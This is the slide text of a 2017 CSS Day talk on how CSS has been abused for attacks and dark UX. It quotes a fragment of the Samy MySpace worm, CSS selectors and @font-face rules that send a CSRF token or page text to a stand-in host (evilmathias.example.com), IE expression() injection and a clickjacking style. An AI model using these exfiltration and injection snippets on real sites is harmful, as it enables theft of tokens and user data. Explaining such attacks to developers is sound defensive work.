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CSS For Good, Not Evil
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Stephen Hay
June 16, 2017
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CSS For Good, Not Evil
My talk on CSS security issues and a bit on dark UX, at CSS Day 2017 in Amsterdam
Stephen Hay
June 16, 2017
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CSS For Evil, Not Good. How style has been used
to manipulate people, invade their privacy, steal their data, and other assorted nasty things. Stephen Hay, CSS Day 2017, Amsterdam
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catawiki.com/jobs
MySpace
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Samy
In a relationship.
In a relationship. hot
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but most of all, Samy is my hero By
vissago / Dan Tentler - http://www.flickr.com/photos/vissago/4861025347/, CC BY 2.0, https://commons.wikimedia.org/w/index.php?curid=26085303
<div id=mycode style="BACKGROUND: url('javascript:eval(document.all.mycode.expr)')" expr="var B=String.fromCharCode(34); …” </div> https://samy.pl/popular/tech.html http://www.securiteam.com/securitynews/6I00C2KEAA.html
WTF https://motherboard.vice.com/en_us/article/the-myspace-worm-that-changed-the-internet-forever
Samy didn’t have evil intentions.
I’m not a security expert.
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There are different levels of evil.
Level 1: Getting some browsing history.
weirdbutdead.com
weirdbutdead.com getComputedStyle
Boolean algebra & mix-blend-mode
http://lcamtuf.coredump.cx/whack/ http://lcamtuf.coredump.cx/css_calc/
Level 2 Mathias Bynens’ Evil Basement of Horrors
Some Belgian kid did a presentation… https://speakerdeck.com/mathiasbynens/3-dot-14-things-i-didnt-know-about-css-at-cssconf-dot-asia-2015
Stealing DOM data
<input type="hidden" name="csrf-token" id="csrf" value=“555…"> #csrf[value^="a"] { background: url(//evilmathias.example.com/?v=a); }
#csrf[value^="b"] { background: url(//evilmathias.example.com/?v=b); } etc.
Text-symbol leaking
<div id=“my-dirtiest-secrets"> I think Javascript is OK </div> @font-face {
font-family: evilmathias; src: url(//evilmathias.example.com/?v=A); unicode-range: U+0041; } #my-dirtiest-secrets { font-family: evilmathias; }
Forcing IE=7 Expressions
.foo { width: expression( alert(‘Bad Evil Mathias’) ); } <meta
http-equiv="X-UA-Compatible" content="IE=7"> <iframe src=“https://target.example.com/page- with-css-payload”></iframe>
Level 3 Path-relative stylesheet import http://blog.portswigger.net/2015/02/prssi.html
http://example.com/posts.php <link href="styles.css" rel="stylesheet" type="text/css" /> Blah blah blah *
{ width: expression( alert( ‘evil’ )) } http://example.com/posts.php/
Level 4 Content replacement
<style> nav {display: none;} </style> <div style”[various styles]”> Content </div>
Oops: allow users to add <style>
Allow users to add classes. Oops.
Allow users to add classes. Oops.
Level 5 UI Redressing “Clickjacking”
LinkedIn
.li_style { position: absolute; width: 100%; z-index: 10021; position: fixed;
top: 0; left: 0; width: 100%; height: 100%; padding: 0; overflow-y: scroll; _overflow-y: hidden }
{"content": "<p><a class=\"li_style\" href=\"http://www.example.com\">Example Site</a><img src=\"image.png\"/></p>"} - https://security.linkedin.com/blog-archive#11232015
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Level 6 Phishing
https://www.askdavetaylor.com/beware-the-latest-apple-id-phishing-attack/
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One thing going for us, at least for now: most
scammers aren’t great designers.
“Good” design works. Even for evil.
Level 7 Dark Patterns Black Hat UX
Sophisticated deceivers seem knowledgable about behaviour as well as technology.
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Image: https://www.brignull.com/
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“Roach Motel”
Unsubscribe…
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Misdirection
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Confirmation of desired behaviour
Yes | No Yes | Not right now Yes |
Maybe later There is a significant difference between these sets of choices.
Exploiting behavioural patterns
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People who stand to gain something from you have motive
to deceive.
Level 8 Command execution on a target system https://lifepluslinux.blogspot.nl/2017/01/look-before-you-paste-from-website-to.html
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When systems become more complex, the number of possible weaknesses
can increase, yet become less apparent.
What’s the takeaway here? Nothing.
Is there a positive message? No.
Thank you! @stephenhay Special thanks to Mathias “Evil Belgian Kid”
Bynens